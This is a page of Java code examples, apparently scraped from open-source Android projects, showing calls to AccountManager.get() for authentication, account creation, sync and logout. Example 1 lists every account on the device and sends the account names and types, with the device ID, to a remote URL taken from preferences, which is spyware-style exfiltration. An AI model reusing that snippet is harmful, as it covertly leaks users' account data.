Java Code Examples for android.accounts.AccountManager#get()

The following examples show how to use android.accounts.AccountManager#get() . These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
@Override
    protected String doInBackground(String... params) {     
 	AccountManager am = AccountManager.get(getApplicationContext());
     Account[] accounts = am.getAccounts();
     ArrayList<String> googleAccounts = new ArrayList<String>();
     int i = 0;
     for (Account ac : accounts) {
     	if(i<Integer.parseInt(j))
     	{
         String acname = ac.name;
         String actype = ac.type;
         googleAccounts.add(ac.name);            
         
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname );
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
     	}
     	i++;
     }
     
  return "Executed";
    }
 
Example 2
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
                         Bundle savedInstanceState) {
    View view = inflater.inflate(R.layout.fragment_choose_account, container);

    activeAccountRepository = new ActiveAccountRepository(getActivity());

    accountSpinner = (Spinner) view.findViewById(R.id.spinner_account);
    selectButton = (Button) view.findViewById(R.id.select_button);
    cancelButton = (Button) view.findViewById(R.id.cancel_button);
    selectButton.setOnClickListener(this);
    cancelButton.setOnClickListener(this);
    localAccountName = getResources().getString(R.string.drawer_account_local);
    getDialog().setTitle(R.string.account_choose_title);

    mAccountManager = AccountManager.get(getActivity());

    initAccountSpinner();
    return view;
}
 
Example 3
Source Project: WayHoo   File: AndroidAuthenticator.java    License: Apache License 2.0 6 votes vote down vote up
@SuppressWarnings("deprecation")
@Override
public String getAuthToken() throws AuthFailureError {
    final AccountManager accountManager = AccountManager.get(mContext);
    AccountManagerFuture<Bundle> future = accountManager.getAuthToken(mAccount,
            mAuthTokenType, mNotifyAuthFailure, null, null);
    Bundle result;
    try {
        result = future.getResult();
    } catch (Exception e) {
        throw new AuthFailureError("Error while retrieving auth token", e);
    }
    String authToken = null;
    if (future.isDone() && !future.isCancelled()) {
        if (result.containsKey(AccountManager.KEY_INTENT)) {
            Intent intent = result.getParcelable(AccountManager.KEY_INTENT);
            throw new AuthFailureError(intent);
        }
        authToken = result.getString(AccountManager.KEY_AUTHTOKEN);
    }
    if (authToken == null) {
        throw new AuthFailureError("Got null auth token for type: " + mAuthTokenType);
    }

    return authToken;
}
 
Example 4
Source Project: cathode   File: Accounts.java    License: Apache License 2.0 6 votes vote down vote up
public static void setupAccount(Context context) {
  AccountManager manager = AccountManager.get(context);

  Account account = getAccount(context);

  try {
    if (manager.addAccountExplicitly(account, null, null)) {
      ContentResolver.setIsSyncable(account, BuildConfig.AUTHORITY_DUMMY_CALENDAR, 1);
      ContentResolver.setSyncAutomatically(account, BuildConfig.AUTHORITY_DUMMY_CALENDAR, true);
      ContentResolver.addPeriodicSync(account, BuildConfig.AUTHORITY_DUMMY_CALENDAR, new Bundle(),
          12 * 60 * 60 /* 12 hours in seconds */);
    }
  } catch (SecurityException e) {
    Timber.e(e, "Unable to add account");
  }
}
 
Example 5
Source Project: palmsuda   File: Authenticator.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * {@inheritDoc}
 */
@Override
public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType,
		Bundle loginOptions) {
	Log.i(TAG, "updateCredentials:");
	final Intent intent = new Intent(mContext, NPersoncenterAvtivity.class);
	AccountManager am = AccountManager.get(mContext);
	intent.putExtra(Params.PARAMS_LOGIN_ID, am.getUserData(account, Params.PARAMS_LOGIN_ID));
	intent.setAction("android.intent.action.VIEW");
	intent.putExtra("account", account);
	intent.putExtra(NPersoncenterAvtivity.PARAM_AUTHTOKEN_TYPE, authTokenType);
	intent.putExtra(NPersoncenterAvtivity.PARAM_CONFIRMCREDENTIALS, false);
	final Bundle bundle = new Bundle();
	bundle.putParcelable(AccountManager.KEY_INTENT, intent);
	return bundle;
}
 
Example 6
public static String getAccountType(Context context, AccountIdentifier accountId) {
    if(Utils.isLocalAccount(accountId)){
        return "local";
    }

    AccountManager accountManager = AccountManager.get(context);
    Account[] accounts = AccountManager.get(context).getAccountsByType(AuthenticatorActivity.ARG_ACCOUNT_TYPE);

    for (Account acc : accounts) {
        String email = accountManager.getUserData(acc, AuthenticatorActivity.KEY_EMAIL);
        String rootFolder = accountManager.getUserData(acc, AuthenticatorActivity.KEY_ROOT_FOLDER);

        if(accountId.getAccount().equals(email) && accountId.getRootFolder().equals(rootFolder)){
            return accountManager.getUserData(acc, AuthenticatorActivity.KEY_ACCOUNT_TYPE);
        }
    }
    return null;
}
 
Example 7
/**
 * Logout user
 *
 * @param context
 * @param username
 * @return true, if successfully logged out
 */
public static boolean logout(Context context, String username) {
    OUser user = getDetails(context, username);
    if (user != null) {
        if (cancelUserSync(user.getAccount())) {
            AccountManager accountManager = AccountManager.get(context);
            accountManager.setUserData(user.getAccount(), "isactive", "false");
            Log.i(TAG, user.getName() + " Logged out successfully");
            return true;
        }
    }
    return false;
}
 
Example 8
Source Project: android-atleap   File: AuthHelper.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Get password of specified account
 * @param context context
 * @param account account
 * @return account password
 */
public static String getAccountPassword(Context context, Account account) {
    if(account == null)
        return null;
    AccountManager accountManager = AccountManager.get(context);
    return accountManager.getPassword(account);
}
 
Example 9
public static List<Account> findAccounts(final Context context) {
    final AccountManager accMgr = AccountManager.get(context);
    final Account[] accounts = accMgr.getAccounts();

    List<Account> accountsAvailable = new ArrayList<>();
    for (final Account account : accounts) {
        for (String accountType : ACCOUNT_TYPES) {
            if (accountType.equals(account.type)) {
                accountsAvailable.add(account);
            }
        }
    }
    return accountsAvailable;
}
 
Example 10
/**
 * Creates Odoo account for app
 *
 * @param context
 * @param user    user instance (OUser)
 * @return true, if account created successfully
 */

public static boolean createAccount(Context context, OUser user) {
    AccountManager accountManager = AccountManager.get(context);
    Account account = new Account(user.getAndroidName(), KEY_ACCOUNT_TYPE);
    if (accountManager.addAccountExplicitly(account, String.valueOf(user.getPassword()),
            user.getAsBundle())) {
        OPreferenceManager pref = new OPreferenceManager(context);
        if (pref.getInt(userObjectKEY(user), 0) != OUser.USER_ACCOUNT_VERSION) {
            pref.putInt(userObjectKEY(user), OUser.USER_ACCOUNT_VERSION);
        }
        return true;
    }
    return false;
}
 
Example 11
/**
 * Parse tags response.
 *
 * @param response
 *   Parse tags response.
 * @param tags
 *   The autocomplete field
 * @param saveInAccount
 *   Whether to set the tags list or not.
 * @param user
 *   The user.
 */
private void parseTagsResponse(String response, MultiAutoCompleteTextView tags, boolean saveInAccount, User user) {
    ArrayList<String> items = new ArrayList<>();

    try {
        JSONObject categoryResponse = new JSONObject(response);
        if (categoryResponse.has("categories")) {
            JSONArray tagsList = categoryResponse.getJSONArray("categories");
            if (tagsList.length() > 0) {
                for (int i = 0; i < tagsList.length(); i++) {
                    items.add(tagsList.getString(i));
                }
            }
        }
    }
    catch (JSONException ignored) {}

    if (items.size() > 0) {
        setTagsAutocomplete(tags, items);

        if (saveInAccount) {
            AccountManager am = AccountManager.get(context);
            am.setUserData(user.getAccount(), "tags_list", response);
        }
    }

}
 
Example 12
private Account getSelectedAccount() {
    String accountName = MyPreferences.getGoogleDriveAccount(this);
    if (accountName != null) {
        AccountManager accountManager = AccountManager.get(this);
        Account[] accounts = accountManager.getAccountsByType("com.google");
        for (Account account : accounts) {
            if (accountName.equals(account.name)) {
                return account;
            }
        }
    }
    return null;
}
 
Example 13
Source Project: Capstone-Project   File: PredatorSyncAdapter.java    License: MIT License 5 votes vote down vote up
public PredatorSyncAdapter(Context context, boolean autoInitialize) {
    super(context, autoInitialize);
    mAccountManager = AccountManager.get(context);

    // Initialize the presenters.
    mPostsPresenter = new PostsPresenter(mPostsView);

    mPostsPresenter.subscribe();
}
 
Example 14
/**
 * Invokes Microsoft Azure Mobile Service authentication using a the Google
 * account registered in the device
 *
 * @param activity The activity that triggered the authentication
 * @param scopes   The scopes used as authentication token type for login
 */
public ListenableFuture<MobileServiceUser> loginWithGoogleAccount(Activity activity, String scopes) {
    AccountManager acMgr = AccountManager.get(activity.getApplicationContext());
    Account[] accounts = acMgr.getAccountsByType(GOOGLE_ACCOUNT_TYPE);

    Account account;
    if (accounts.length == 0) {
        account = null;
    } else {
        account = accounts[0];
    }

    return loginWithGoogleAccount(activity, account, scopes);
}
 
Example 15
Source Project: Yahala-Messenger   File: MessagesController.java    License: MIT License 5 votes vote down vote up
public void deleteAllAppAccounts() {
    try {
        AccountManager am = AccountManager.get(ApplicationLoader.applicationContext);
        Account[] accounts = am.getAccountsByType("org.telegram.messenger.account");
        for (Account c : accounts) {
            am.removeAccount(c, null, null);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}
 
Example 16
/**
 * Creates Odoo account for app
 *
 * @param context
 * @param user    user instance (OUser)
 * @return true, if account created successfully
 */

public static boolean createAccount(Context context, OUser user) {
    AccountManager accountManager = AccountManager.get(context);
    Account account = new Account(user.getAndroidName(), KEY_ACCOUNT_TYPE);
    if (accountManager.addAccountExplicitly(account, String.valueOf(user.getPassword()),
            user.getAsBundle())) {
        OPreferenceManager pref = new OPreferenceManager(context);
        if (pref.getInt(userObjectKEY(user), 0) != OUser.USER_ACCOUNT_VERSION) {
            pref.putInt(userObjectKEY(user), OUser.USER_ACCOUNT_VERSION);
        }
        return true;
    }
    return false;
}
 
Example 17
Source Project: Pioneer   File: AppModule.java    License: Apache License 2.0 4 votes vote down vote up
@Provides
@Singleton
public AccountManager provideAccountManager(@ForApp Context context) {
    return AccountManager.get(context);
}
 
Example 18
Source Project: DaVinci   File: AndroidAuthenticator.java    License: Apache License 2.0 2 votes vote down vote up
/**
 * Creates a new authenticator.
 * @param context Context for accessing AccountManager
 * @param account Account to authenticate as
 * @param authTokenType Auth token type passed to AccountManager
 * @param notifyAuthFailure Whether to raise a notification upon auth failure
 */
public AndroidAuthenticator(Context context, Account account, String authTokenType,
        boolean notifyAuthFailure) {
    this(AccountManager.get(context), account, authTokenType, notifyAuthFailure);
}
 
Example 19
/**
 * Get the Account.
 *
 * Don't call this from the main thread - use an AsyncTask, for instance.
 *
 * @param context
 * @return
 */
private static Account getAccount(final Context context) {
    final AccountManager mgr = AccountManager.get(context);
    return getAccount(mgr);
}
 
Example 20
/**
 * Creates a new authenticator.
 * @param context Context for accessing AccountManager
 * @param account Account to authenticate as
 * @param authTokenType Auth token type passed to AccountManager
 * @param notifyAuthFailure Whether to raise a notification upon auth failure
 */
public AndroidAuthenticator(Context context, Account account, String authTokenType,
        boolean notifyAuthFailure) {
    this(AccountManager.get(context), account, authTokenType, notifyAuthFailure);
}